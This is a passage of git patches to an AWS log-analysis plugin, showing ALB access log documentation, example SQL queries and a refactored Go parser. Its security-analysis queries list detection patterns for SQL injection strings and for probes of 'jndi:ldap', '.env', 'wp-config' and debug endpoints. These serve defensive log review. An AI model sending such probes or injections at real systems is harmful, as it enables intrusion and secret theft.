`user_agent` strings to categorize the client type as `Mobile`, `Chrome`, `Firefox`, etc. + - **Type Mapping**: Maps each field from the raw logs to a specific SQL-compatible type, ensuring consistency and compatibility in queries. + +### 4. `aws_alb_access_log_parser.go` (Log Parsing Logic) + + **Purpose**: This file contains the core logic for parsing raw ALB log entries, breaking each entry into fields according to the AWS ALB log format. + + **Key Components**: + - **Field Extraction**: Implements functions that recognize and extract fields (e.g., `client_ip`, `method`, `path`, `status_code`) from each log line. + - **Pattern Matching**: Uses regular expressions or delimiter-based parsing to separate fields within each log entry. + - **Error Handling**: Accounts for incomplete or corrupted log lines, applying default values or skipping entries as necessary. + - **Normalization**: Normalizes data to standard formats (e.g., `timestamp` formats, IP addresses) for consistency across log entries. + +### 5. `aws_alb_access_log_test.go` (Unit Tests) + + **Purpose**: This file includes unit tests for the `aws_alb_access_log` table. It validates the functionality of data parsing, schema conformance, and ensures that each function behaves as expected. + + **Key Components**: + - **Schema Validation**: Verifies that log entries are parsed into the correct schema (e.g., all columns have the expected types). + - **Parsing Accuracy**: Checks the correctness of field extraction, ensuring each log entry’s data maps accurately to columns. + - **Error Scenarios**: Tests for edge cases like malformed log entries, missing fields, and unexpected data types to ensure the parser handles them gracefully. + +## Tailpipe Workflow: Collection and Query Phases + +Tailpipe operates in two main phases for processing log data: **collection** and **query**. + +### Collection Phase + +The collection phase is where Tailpipe extracts raw log data, converts it into a structured format, and stores it as Parquet files for efficient querying. Here’s how it works for the `aws_alb_access_log` table: + +1. **Source Definition**: The configuration file (`aws_alb_access_log_config.hcl`) defines the log source path, file extension, and partition metadata. +2. **Data Parsing**: `aws_alb_access_log_parser.go` parses each log entry according to the schema, converting fields like `user_agent` into SQL-compatible columns. +3. **Parquet Conversion**: Once parsed, data is stored in Parquet format, allowing for quick retrieval and reduced storage overhead. + + Example command to initiate data collection: + + ```bash + TAILPIPE_LOG_LEVEL=debug ./tailpipe collect aws_alb_access_log.alb_test + ``` + +### Query Phase + +The query phase enables SQL-based access to the data. Tailpipe’s SQL engine supports a variety of operations, including filtering, aggregation, and ordering. For instance, the following query categorizes requests by client type and counts them: + +```sql +SELECT + CASE + WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' + WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' + WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' + WHEN user_agent LIKE '%Safari%' THEN 'Safari' + WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' + ELSE 'Other' + END as client_type, + COUNT(*) as request_count +FROM aws_alb_access_log +GROUP BY client_type +ORDER BY request_count DESC; +``` + +### Example Output + +```plaintext +┌─────────────┬───────────────┐ +│ client_type │ request_count │ +├─────────────┼───────────────┤ +│ Other │ 6337 │ +│ Mobile │ 1842 │ +│ Chrome │ 1821 │ +└─────────────┴───────────────┘ +``` + +This output provides insights into the distribution of requests across client types, useful for identifying usage patterns. + +## Summary + +This `aws_alb_access_log` implementation is modular and efficient, providing flexible log analysis via SQL queries. Each file serves a specific role, from configuration and parsing to testing and schema management. This structure not only makes the table easy to use but also allows for quick adaptation to different data sources or query requirements. diff --git a/test/readme-claude.md b/test/readme-claude.md new file mode 100644 index 00000000..6a8044aa --- /dev/null +++ b/test/readme-claude.md @@ -0,0 +1,224 @@ +# AWS ALB Access Log Table - Tailpipe Plugin + +The `aws_alb_access_log` table is a powerful component of the Tailpipe AWS plugin that enables SQL-based analysis of AWS Application Load Balancer (ALB) access logs. This table provides a structured way to query and analyze ALB logs, helping you understand traffic patterns, troubleshoot issues, and monitor application performance. + +## Features + +- **Full ALB Log Field Support**: Captures all ALB access log fields including request details, processing times, SSL information, and more +- **Automatic Type Conversion**: Handles parsing and conversion of fields into appropriate data types (timestamps, integers, etc.) +- **Enriched Fields**: Adds standardized fields like `tp_id`, `tp_timestamp`, and `tp_source_type` for consistent analysis +- **IP Address Analysis**: Extracts and standardizes both client and target IP addresses +- **Integration with AWS S3**: Directly reads ALB logs from S3 buckets where AWS stores them + +## Configuration + +### Plugin Configuration + +First, configure the AWS plugin in your Tailpipe configuration: + +```hcl +connection "aws" { + # Authentication (choose one method) + profile = "default" # Use AWS profile + access_key = "YOUR_ACCESS_KEY" # Or provide access key directly + secret_key = "YOUR_SECRET_KEY" # With secret key + + # Optional settings + default_region = "us-east-1" # Default AWS region + regions = ["us-east-1", "us-west-2"] # Multiple regions if needed +} +``` + +### Table Configuration + +Configure the ALB access log table source: + +```hcl +source "aws_alb_access_log" "production_logs" { + # S3 bucket where ALB logs are stored + bucket = "my-alb-logs" + + # Optional: Custom log format if not using default + log_format = "$type $timestamp $elb ..." + + # Optional: File pattern for specific log files + file_pattern = "AWSLogs/*/elasticloadbalancing/*/*" + + # Optional: Timezone for parsing timestamps + timezone = "UTC" +} +``` + +## Schema + +The table provides the following columns: + +### Standard Fields +| Column Name | Type | Description | +|------------|------|-------------| +| type | string | The type of request (typically 'http' or 'https') | +| timestamp | timestamp | When the request was received | +| alb_name | string | Name of the ALB | +| client_ip | string | Client's IP address | +| client_port | int | Client's port number | +| target_ip | string | Target instance IP | +| target_port | int | Target instance port | + +### Processing Times +| Column Name | Type | Description | +|------------|------|-------------| +| request_processing_time | float64 | Time from request received to sent to target | +| target_processing_time | float64 | Time target took to process request | +| response_processing_time | float64 | Time from receiving target response to sending to client | + +### Status and Bytes +| Column Name | Type | Description | +|------------|------|-------------| +| alb_status_code | int | HTTP status code from ALB | +| target_status_code | int | HTTP status code from target | +| received_bytes | int64 | Number of bytes received from client | +| sent_bytes | int64 | Number of bytes sent to client | + +### SSL/TLS Information +| Column Name | Type | Description | +|------------|------|-------------| +| ssl_cipher | string | SSL cipher used | +| ssl_protocol | string | SSL protocol version | +| chosen_cert_arn | string | ARN of the certificate used | + +### Request Details +| Column Name | Type | Description | +|------------|------|-------------| +| request | string | HTTP request line | +| user_agent | string | Client's user agent | +| domain_name | string | Requested domain name | +| target_group_arn | string | ARN of the target group | + +## Example Queries + +### 1. Monitor Response Times + +Find slow requests (>5s total processing time): +```sql +SELECT + timestamp, + client_ip, + request, + request_processing_time + target_processing_time + response_processing_time as total_time, + alb_status_code +FROM + aws_alb_access_log +WHERE + (request_processing_time + target_processing_time + response_processing_time) > 5 +ORDER BY + total_time DESC +LIMIT 10; +``` + +### 2. Analyze Error Rates + +Calculate error rates by target group: +```sql +SELECT + target_group_arn, + COUNT(*) as total_requests, + SUM(CASE WHEN alb_status_code >= 500 THEN 1 ELSE 0 END) as error_count, + ROUND(100.0 * SUM(CASE WHEN alb_status_code >= 500 THEN 1 ELSE 0 END) / COUNT(*), 2) as error_rate +FROM + aws_alb_access_log +GROUP BY + target_group_arn +ORDER BY + error_rate DESC; +``` + +### 3. Traffic Analysis + +View requests by hour: +```sql +SELECT + DATE_TRUNC('hour', timestamp) as hour, + COUNT(*) as requests, + SUM(sent_bytes + received_bytes) / (1024*1024) as total_mb +FROM + aws_alb_access_log +GROUP BY + hour +ORDER BY + hour; +``` + +## Enrichment Fields + +The table automatically adds several enrichment fields: + +| Field | Description | +|-------|-------------| +| tp_id | Unique identifier for each log entry | +| tp_timestamp | Normalized timestamp in Unix milliseconds | +| tp_source_type | Always "aws_alb_access_log" | +| tp_source_ip | Client IP address | +| tp_destination_ip | Target IP address | +| tp_ips | Array of all IPs in the log entry | +| tp_domains | Array of domain names from the request | + +## Troubleshooting + +### Common Issues + +1. **Missing Fields**: If certain fields are consistently null, verify your ALB logging configuration includes all desired fields. + +2. **Parsing Errors**: If you see parse errors: + - Check the log format matches ALB's output + - Verify timezone settings + - Ensure log files aren't corrupted + +3. **Performance Issues**: For large log sets: + - Use appropriate time-based filters + - Consider partitioning data + - Index frequently queried columns + +### Debugging + +Enable debug logging for more detailed information: + +```bash +TAILPIPE_LOG_LEVEL=debug tailpipe collect aws_alb_access_log.production_logs +``` + +## Best Practices + +1. **Data Management** + - Regularly archive old logs + - Use appropriate S3 lifecycle policies + - Consider compressing logs + +2. **Query Optimization** + - Filter by date ranges when possible + - Use appropriate indexes + - Avoid SELECT * for large datasets + +3. **Monitoring** + - Set up alerts for high error rates + - Monitor response times + - Track resource usage + +## Contributing + +Contributions are welcome! Please follow these steps: + +1. Fork the repository +2. Create a feature branch +3. Add your changes +4. Submit a pull request + +## License + +This plugin is licensed under [appropriate license] + +## Support + +For issues and questions: +- GitHub Issues: [link to issues] +- Documentation: [link to docs] +- Community Forum: [link to forum] \ No newline at end of file From 6d938ea19c47c2e16d24dfb4cb66cb5c2dd32805 Mon Sep 17 00:00:00 2001 From: Jon Udell Date: Thu, 7 Nov 2024 18:37:09 +0700 Subject: [PATCH 068/180] refactor enrichment, add initial doc for alb_access_log table (#14) --- aws/plugin.go | 2 +- docs/tables/alb_access_log.md | 422 +++++++++++++++++++++++++++++++++ rows/alb_access_log.go | 417 ++++++++++++++++++-------------- tables/alb_access_log_table.go | 394 +++++++++++++++--------------- test/alb-vs-elb.md | 174 -------------- test/alb_queries.md | 183 -------------- test/alb_queries.txt | 346 --------------------------- test/readme-chatgpt.md | 119 ---------- test/readme-claude.md | 224 ----------------- 9 files changed, 859 insertions(+), 1422 deletions(-) create mode 100644 docs/tables/alb_access_log.md delete mode 100644 test/alb-vs-elb.md delete mode 100644 test/alb_queries.md delete mode 100644 test/alb_queries.txt delete mode 100644 test/readme-chatgpt.md delete mode 100644 test/readme-claude.md diff --git a/aws/plugin.go b/aws/plugin.go index c0f3506b..e2d15a83 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -31,7 +31,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { tables.NewElbAccessLogTable, tables.NewS3ServerAccessLogTable, tables.NewLambdaLogTable, - tables.NewAlbAccessLogTable, // Add the ALB table here + tables.NewAlbAccessLogTable, }, } diff --git a/docs/tables/alb_access_log.md b/docs/tables/alb_access_log.md new file mode 100644 index 00000000..19de172f --- /dev/null +++ b/docs/tables/alb_access_log.md @@ -0,0 +1,422 @@ +# Overview + +Here's the explanation of how ALB logs flow through Tailpipe to become Parquet files. The main benefit of this system is that we just define our struct with the right tags and types, and the SDK handles all the complexity of Parquet file creation. We don't need to write any Parquet-specific code in our table implementation. + +## Initial Processing + +- Raw log line comes in as a string from S3 or other source +- `AlbLogMapper.Map` parses this into structured data (`[]*rows.AlbAccessLog`) +- The mapper handles all the complex string parsing (quotes, optional fields, etc.) + +## Schema Generation +- SDK uses reflection on the `AlbAccessLog` struct +- JSON tags define column names (e.g., `json:"type"` becomes column "type") +- Go types are mapped to Parquet types: + - `string` → `BYTE_ARRAY` + - `int64` → `INT64` + - `float64` → `DOUBLE` + - `time.Time` → `INT64` (milliseconds since epoch) + - Pointer types (e.g., `*string`) become nullable columns + - Arrays become repeated fields + +## Record Writing +- SDK batches records for efficiency (doesn't write one at a time) +- Uses the generated schema to validate data +- Handles type conversion automatically +- Field order in Parquet matches struct field order + +## Special Handling +- `CommonFields` embed adds standard columns to every table (`tp_id`, `tp_timestamp`, etc.) +- Timestamps get special treatment - stored as Unix milliseconds for efficiency +- Optional fields (like `TargetIP *string`) only take space when present +- Arrays (like `TpIps []string`) become Parquet repeated fields + +### Index Selection (tp_index) + +The `tp_index` field is critical for partitioning and querying data efficiently. For ALB logs, we map: + +```sql +tp_index = alb_name +``` + +This means: +- Each ALB's logs are grouped together +- Quick filtering/querying by specific ALB +- Efficient partitioning in data lake storage +- Natural organization matching AWS infrastructure + +For example: +```bash +prod-web-alb → All prod web ALB logs +prod-api-alb → All prod API ALB logs +staging-alb → All staging ALB logs +``` + +This mapping allows queries like: +```sql +-- Get all prod ALB traffic +SELECT * FROM aws_alb_access_log WHERE tp_index LIKE 'prod-%'; + +-- Compare traffic across environments +SELECT + tp_index, + COUNT(*) as requests, + COUNT(DISTINCT client_ip) as unique_clients +FROM aws_alb_access_log +GROUP BY tp_index; +``` + +Alternative index strategies we considered but rejected: +- Account ID: Too broad, most logs from same account +- Region: Too broad, most logs from same region +- Target Group: Too granular, splits related traffic + + +```mermaid +graph TD + A[Raw Log Line] --> B[AlbLogMapper] + B --> C["[]*rows.AlbAccessLog"] + C --> D[Schema Generation] + D --> E[Parquet Schema] + C --> F[Parquet Record Writer] + E --> F + F --> G[Parquet File] + + subgraph "Schema Generation" + D1[Reflect Struct Tags] + D2[Map Types] + D3[Handle Optionals] + end + + subgraph "Type Mapping" + M1[string to BYTE_ARRAY] + M2[int64 to INT64] + M3[float64 to DOUBLE] + M4[time.Time to INT64] + end + + D --> D1 + D1 --> D2 + D2 --> D3 +``` + +## Enrichment flow + +- Raw Parsing (`InitialiseFromMap`): + - Converts string values to typed fields + - Handles empty/optional fields marked with "-" + - Parses complex fields (IP:port combinations) + - Reports parsing errors with context + +- Enrichment (EnrichRow): + + - Adds standard fields (tp_id, tp_timestamp, etc.) + - Populates cross-reference fields: + + - IPs: Maps client/target IPs to tp_source_ip, tp_destination_ip, tp_ips + - Domains: Maps domain_name to tp_domains + - AWS Resources: Maps target_group_arn to tp_akas + + - Computes derived fields (dates, timestamps) + - Maintains data consistency + +The benefit of this separation is that parsing logic stays focused on data conversion, while enrichment logic focuses on adding value. This makes both parts easier to maintain and test independently. + +```mermaid +graph TD + A[Raw Log Line] --> B[InitialiseFromMap] + B --> C[Typed AlbAccessLog] + C --> D[EnrichRow] + D --> E[Enriched Record] + + subgraph "InitialiseFromMap" + P1[Parse Fields] + P2[Convert Types] + P3[Handle Optional Fields] + P4[Validate Data] + end + + subgraph "EnrichRow" + E1[Add Standard Fields] + E2[Add Source Fields] + E3[Compute Timestamps] + E4[Populate Cross-Reference Fields] + end + + B --> P1 --> P2 --> P3 --> P4 + D --> E1 --> E2 --> E3 --> E4 + + %% Show specific field mappings + C -- ClientIP -> TpSourceIP\nTargetIP -> TpDestinationIP\nBoth -> TpIps --> E4 + C -- DomainName -> TpDomains --> E4 + C -- TargetGroupArn -> TpAkas --> E4 +``` + +# ALB Log Analysis Queries and Results + +## Client Type Distribution +Analyzes the distribution of different client types accessing the application. + +```sql +SELECT + CASE + WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' + WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' + WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' + WHEN user_agent LIKE '%Safari%' THEN 'Safari' + WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' + ELSE 'Other' + END as client_type, + COUNT(*) as request_count +FROM aws_alb_access_log +GROUP BY client_type +ORDER BY request_count DESC; +``` + +Results show most traffic comes from "Other" clients (6,337 requests), followed by Mobile (1,842) and Chrome (1,821). + +## SSL/TLS Configuration Analysis +Examines the distribution of SSL protocols and cipher suites. + +```sql +SELECT + ssl_protocol, + ssl_cipher, + COUNT(*) as count, + ROUND(COUNT(*) * 100.0 / SUM(COUNT(*)) OVER (), 2) as percentage +FROM aws_alb_access_log +WHERE ssl_protocol != '-' +GROUP BY ssl_protocol, ssl_cipher +ORDER BY count DESC; +``` + +Key findings: +- TLSv1.2 and TLSv1.3 are evenly distributed +- Most common cipher is TLS_AES_128_GCM_SHA256 (17.21%) +- All modern cipher suites used + +## Traffic Distribution by Hour +Shows the distribution of requests across different hours of the day. + +```sql +SELECT + EXTRACT(hour FROM timestamp) as hour_of_day, + COUNT(*) as request_count +FROM aws_alb_access_log +GROUP BY hour_of_day +ORDER BY request_count DESC; +``` + +Traffic is relatively evenly distributed between hours 0-14, with a drop-off at hour 15. + +## Error Rate Analysis +Examines error rates by hour. + +```sql +SELECT + DATE_TRUNC('hour', timestamp) as hour, + COUNT(*) as total_requests, + SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) as error_count, + ROUND(SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) * 100.0 / COUNT(*), 2) as error_rate +FROM aws_alb_access_log +GROUP BY hour +ORDER BY hour; +``` + +Error rates consistently range between 19-23% across all hours. + +## ALB Performance Analysis +Analyzes performance metrics across different ALBs. + +```sql +SELECT + tp_index as alb_name, + COUNT(*) as request_count, + COUNT(DISTINCT client_ip) as unique_clients, + ROUND(AVG(request_processing_time + target_processing_time + response_processing_time), 3) as avg_total_time +FROM aws_alb_access_log +GROUP BY tp_index +ORDER BY request_count DESC; +``` + +Findings: +- prod-web-alb handles most traffic (3,383 requests) +- staging-alb has higher average processing time (0.523s) +- prod environments maintain better performance (~0.35s) + +## Security Analysis + +### SQL Injection Attempts +```sql +WITH filtered_requests AS ( + SELECT + client_ip, + user_agent, + request as sample_request, + timestamp, + ROW_NUMBER() OVER (PARTITION BY client_ip, user_agent ORDER BY timestamp) AS row_num + FROM aws_alb_access_log + WHERE + request LIKE '%UNION SELECT%' OR + request LIKE '%OR 1=1%' OR + request LIKE '%--\\%' OR + request LIKE '%'' OR ''%' +) +SELECT + client_ip, + user_agent, + COUNT(*) AS attempt_count, + STRING_AGG(sample_request, ' | ') AS sample_requests, + MIN(timestamp) AS first_seen, + MAX(timestamp) AS last_seen +FROM filtered_requests +WHERE row_num <= 3 +GROUP BY client_ip, user_agent +HAVING COUNT(*) > 1 +ORDER BY attempt_count DESC +LIMIT 10; +``` + +Detected multiple SQL injection attempts from IPs in ranges: +- 185.181.x.x +- 193.27.228.x +- 45.155.205.x + +### Cross-ALB Attack Patterns +```sql +WITH suspicious_paths AS ( + SELECT + client_ip, + user_agent, + alb_name, + request as sample_request, + timestamp, + ROW_NUMBER() OVER (PARTITION BY client_ip, alb_name ORDER BY timestamp) AS row_num + FROM aws_alb_access_log + WHERE + request LIKE '%actuator%' OR + request LIKE '%metrics%' OR + request LIKE '%phpinfo%' OR + request LIKE '%server-status%' OR + request LIKE '%jndi:ldap%' OR + request LIKE '%class.module.classLoader%' OR + request LIKE '%.env%' OR + request LIKE '%wp-config%' OR + request LIKE '%/debug%' + ) + SELECT + client_ip, + user_agent, + COUNT(DISTINCT alb_name) as albs_targeted, + COUNT(*) as total_probes, + STRING_AGG(DISTINCT alb_name, ', ') as targeted_albs, + STRING_AGG(sample_request, ' | ') as sample_requests, + MIN(timestamp) as first_seen, + MAX(timestamp) as last_seen, + EXTRACT(MINUTES FROM MAX(timestamp) - MIN(timestamp)) as campaign_duration_mins + FROM suspicious_paths + WHERE row_num <= 3 + GROUP BY client_ip, user_agent + HAVING + COUNT(DISTINCT alb_name) > 1 AND -- Targeting multiple ALBs + COUNT(*) >= 3 -- At least 3 probe attempts + ORDER BY albs_targeted DESC, total_probes DESC + LIMIT 10; +``` + +Key findings: +- Multiple IPs targeting all three ALBs +- Campaign durations ranging from 13 to 54 minutes +- Common attack tools identified: subfinder, WhatWeb, dirbuster, Nmap +- Systematic probing of infrastructure suggesting coordinated attacks + +### Notable Attack Patterns +- Sustained campaigns lasting 30+ minutes +- Multiple tools used per attacker +- Systematic targeting of all ALB environments +- Focus on common vulnerabilities (actuator, debug endpoints, config files) + + +# Testing ALB Log Processing + +## Test Data Generation + +Testing ALB log processing requires realistic log data that includes both normal traffic patterns and attack scenarios. We use a Python generator script that creates synthetic ALB logs with the following characteristics: + +### Normal Traffic +- Distributed across multiple ALBs (prod-web-alb, prod-api-alb, staging-alb) +- Realistic URLs mapped to specific ALBs +- Common user agents (browsers, mobile devices, legitimate API clients) +- Expected HTTP methods and status codes +- Variable response times with production environments being faster + +### Attack Patterns +- SQL injection attempts +- Path traversal attacks +- Admin console scanning +- Vulnerability probing +- Traffic from known malicious IP ranges +- Scanner user agents +- Coordinated attack campaigns + +### Generator Configuration +The generator supports customization of: +- Number of log lines +- Start date for logs +- ALB names and target groups +- URL patterns +- Attack frequencies +- IP ranges for attackers + +## Running Tests + +1. First, generate test data: +```bash +python3 alb_generate.py +``` + +2. Create a test configuration file, e.g. + +```hcl +partition "aws_alb_access_log" "alb_test" { + plugin = "aws" + source "file_system" { + paths = ["/home/jon/tpsrc/tailpipe-plugin-aws/test/alb-test.log"] + extensions = [".log"] + } +} +``` + +3. Run Tailpipe: +```bash +TAILPIPE_LOG_LEVEL=debug ./tailpipe collect aws_alb_access_log.alb_test +``` + +### Key Test Scenarios + +When testing ALB log processing, verify: + +1. Field Parsing + - Complex fields (IP:port combinations) + - Quoted strings with spaces + - Optional fields marked with "-" + - Timestamps in correct format + +2. Enrichment Logic + - Standard fields (tp_id, tp_timestamp) + - IP cross-references (source, destination, list) + - Domain references + - AWS resource references (target group ARNs) + +3. Error Handling + - Malformed log lines + - Missing required fields + - Invalid field values + - Incorrect field types + +4. Performance + - Large log file processing + - Memory usage with batch processing + - Processing time per record + +The included query examples in the previous section can be used to validate the processed data matches expected patterns. \ No newline at end of file diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index 464bac9c..a598cbfe 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -1,18 +1,42 @@ +// File: rows/alb_access_log.go + package rows import ( - "fmt" - "strconv" - "strings" - "time" + "fmt" + "strconv" + "strings" + "time" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "github.com/turbot/tailpipe-plugin-sdk/helpers" ) -// AlbAccessLog represents a single ALB access log entry with enrichment fields +// AlbAccessLog represents a single Application Load Balancer (ALB) access log entry. +// It includes both AWS ALB-specific fields and Tailpipe enrichment fields for enhanced analysis. +// The struct maps directly to the format of ALB access logs as documented by AWS: +// https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html +// +// Data flow: +// 1. Raw log parsing: InitialiseFromMap parses raw string values into typed struct fields +// 2. Enrichment: EnrichRow adds derived and computed fields for analysis +// +// Enrichment fields are populated as follows: +// - tp_source_ip: from client IP +// - tp_destination_ip: from target IP +// - tp_ips: array containing both client and target IPs +// - tp_domains: from domain_name field +// - tp_akas: from target_group_arn for AWS resource linking +// - tp_timestamp: from timestamp field +// - tp_id: generated unique identifier +// - tp_source_type: set to "aws_alb_access_log" +// - tp_ingest_timestamp: set at processing time +// - tp_partition: set to "aws_alb_access_log" +// - tp_index: set to ALB name +// - tp_date: derived from timestamp in yyyy-mm-dd format + type AlbAccessLog struct { - // Embed required enrichment fields enrichment.CommonFields // Standard ALB fields @@ -23,8 +47,8 @@ type AlbAccessLog struct { ClientPort int `json:"client_port"` TargetIP *string `json:"target_ip,omitempty"` TargetPort int `json:"target_port"` - RequestProcessingTime float64 `json:"request_processing_time"` - TargetProcessingTime float64 `json:"target_processing_time"` + RequestProcessingTime float64 `json:"request_processing_time"` + TargetProcessingTime float64 `json:"target_processing_time"` ResponseProcessingTime float64 `json:"response_processing_time"` AlbStatusCode *int `json:"alb_status_code,omitempty"` TargetStatusCode *int `json:"target_status_code,omitempty"` @@ -32,187 +56,220 @@ type AlbAccessLog struct { SentBytes *int64 `json:"sent_bytes,omitempty"` Request string `json:"request"` UserAgent string `json:"user_agent"` - SslCipher string `json:"ssl_cipher"` - SslProtocol string `json:"ssl_protocol"` - TargetGroupArn string `json:"target_group_arn"` - TraceId string `json:"trace_id"` - DomainName string `json:"domain_name"` - ChosenCertArn string `json:"chosen_cert_arn"` - MatchedRulePriority int `json:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time"` - ActionsExecuted string `json:"actions_executed"` - RedirectUrl *string `json:"redirect_url,omitempty"` - ErrorReason *string `json:"error_reason,omitempty"` - TargetList *string `json:"target_list,omitempty"` - TargetStatusList *string `json:"target_status_list,omitempty"` - Classification *string `json:"classification,omitempty"` - ClassificationReason *string `json:"classification_reason,omitempty"` + SslCipher string `json:"ssl_cipher"` + SslProtocol string `json:"ssl_protocol"` + TargetGroupArn string `json:"target_group_arn"` + TraceId string `json:"trace_id"` + DomainName string `json:"domain_name"` + ChosenCertArn string `json:"chosen_cert_arn"` + MatchedRulePriority int `json:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time"` + ActionsExecuted string `json:"actions_executed"` + RedirectUrl *string `json:"redirect_url,omitempty"` + ErrorReason *string `json:"error_reason,omitempty"` + TargetList *string `json:"target_list,omitempty"` + TargetStatusList *string `json:"target_status_list,omitempty"` + Classification *string `json:"classification,omitempty"` + ClassificationReason *string `json:"classification_reason,omitempty"` } -// NewAlbAccessLog creates a new ALB access log entry +// NewAlbAccessLog creates a new ALB access log entry with initialized fields. +// Used by the mapper when creating new log entries from raw log lines. func NewAlbAccessLog() *AlbAccessLog { return &AlbAccessLog{} } -// InitialiseFromMap initializes the struct from a map of string values -func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { - for key, value := range m { - switch key { - case "timestamp": - ts, err := time.Parse(time.RFC3339, value) - if err != nil { - return fmt.Errorf("error parsing timestamp: %w", err) - } - l.Timestamp = ts - l.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) - case "type": - l.Type = value - case "alb": - l.AlbName = value - case "client": - if value != "-" && strings.Contains(value, ":") { - parts := strings.Split(value, ":") - if len(parts) != 2 { - return fmt.Errorf("invalid client address format: %s", value) - } - l.ClientIP = parts[0] - l.TpSourceIP = &l.ClientIP - l.TpIps = append(l.TpIps, l.ClientIP) - - port, err := strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing client port: %w", err) - } - l.ClientPort = port - } - case "target": - if value != "-" && strings.Contains(value, ":") { - parts := strings.Split(value, ":") - if len(parts) != 2 { - return fmt.Errorf("invalid target address format: %s", value) - } - ip := parts[0] - l.TargetIP = &ip - l.TpDestinationIP = &ip - l.TpIps = append(l.TpIps, ip) - - port, err := strconv.Atoi(parts[1]) - if err != nil { - return fmt.Errorf("error parsing target port: %w", err) - } - l.TargetPort = port - } - case "request_processing_time": - rpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing request_processing_time: %w", err) - } - l.RequestProcessingTime = rpt - case "target_processing_time": - tpt, err := strconv.ParseFloat(value, 64) - if err != nil { - return fmt.Errorf("error parsing target_processing_time: %w", err) - } - l.TargetProcessingTime = tpt - case "response_processing_time": - rpt, err := strconv.ParseFloat(value, 64) +// parseField handles parsing of individual fields with proper error handling +func (l *AlbAccessLog) parseField(fieldName, value string) error { + if value == "-" { + return nil + } + + switch fieldName { + case "timestamp": + ts, err := time.Parse(time.RFC3339Nano, value) + if err != nil { + return fmt.Errorf("error parsing timestamp: %w", err) + } + l.Timestamp = ts + case "type": + l.Type = value + case "alb": + l.AlbName = value + case "client": + parts := strings.Split(value, ":") + if len(parts) == 2 { + l.ClientIP = parts[0] + port, err := strconv.Atoi(parts[1]) if err != nil { - return fmt.Errorf("error parsing response_processing_time: %w", err) - } - l.ResponseProcessingTime = rpt - case "alb_status_code": - if value != "-" { - code, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing alb_status_code: %w", err) - } - l.AlbStatusCode = &code + return fmt.Errorf("error parsing client port: %w", err) } - case "target_status_code": - if value != "-" { - code, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing target_status_code: %w", err) - } - l.TargetStatusCode = &code - } - case "received_bytes": - if value != "-" { - bytes, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing received_bytes: %w", err) - } - l.ReceivedBytes = &bytes - } - case "sent_bytes": - if value != "-" { - bytes, err := strconv.ParseInt(value, 10, 64) - if err != nil { - return fmt.Errorf("error parsing sent_bytes: %w", err) - } - l.SentBytes = &bytes - } - case "request": - l.Request = value - case "user_agent": - l.UserAgent = value - case "ssl_cipher": - l.SslCipher = value - case "ssl_protocol": - l.SslProtocol = value - case "target_group_arn": - l.TargetGroupArn = value - l.TpAkas = append(l.TpAkas, value) - case "trace_id": - l.TraceId = value - case "domain_name": - l.DomainName = value - if value != "-" { - l.TpDomains = append(l.TpDomains, value) - } - case "chosen_cert_arn": - l.ChosenCertArn = value - case "matched_rule_priority": - if value != "-" { - priority, err := strconv.Atoi(value) - if err != nil { - return fmt.Errorf("error parsing matched_rule_priority: %w", err) - } - l.MatchedRulePriority = priority - } - case "request_creation_time": - ts, err := time.Parse(time.RFC3339, value) + l.ClientPort = port + } + case "target": + parts := strings.Split(value, ":") + if len(parts) == 2 { + ip := parts[0] + l.TargetIP = &ip + port, err := strconv.Atoi(parts[1]) if err != nil { - return fmt.Errorf("error parsing request_creation_time: %w", err) - } - l.RequestCreationTime = ts - case "actions_executed": - l.ActionsExecuted = value - case "redirect_url": - if value != "-" { - l.RedirectUrl = &value - } - case "error_reason": - if value != "-" { - l.ErrorReason = &value - } - case "target_list": - if value != "-" { - l.TargetList = &value - } - case "target_status_list": - if value != "-" { - l.TargetStatusList = &value - } - case "classification": - if value != "-" { - l.Classification = &value - } - case "classification_reason": - if value != "-" { - l.ClassificationReason = &value + return fmt.Errorf("error parsing target port: %w", err) } + l.TargetPort = port + } + case "request_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing request_processing_time: %w", err) + } + l.RequestProcessingTime = rpt + case "target_processing_time": + tpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing target_processing_time: %w", err) + } + l.TargetProcessingTime = tpt + case "response_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing response_processing_time: %w", err) + } + l.ResponseProcessingTime = rpt + case "alb_status_code": + code, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing alb_status_code: %w", err) + } + l.AlbStatusCode = &code + case "target_status_code": + code, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing target_status_code: %w", err) + } + l.TargetStatusCode = &code + case "received_bytes": + bytes, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing received_bytes: %w", err) + } + 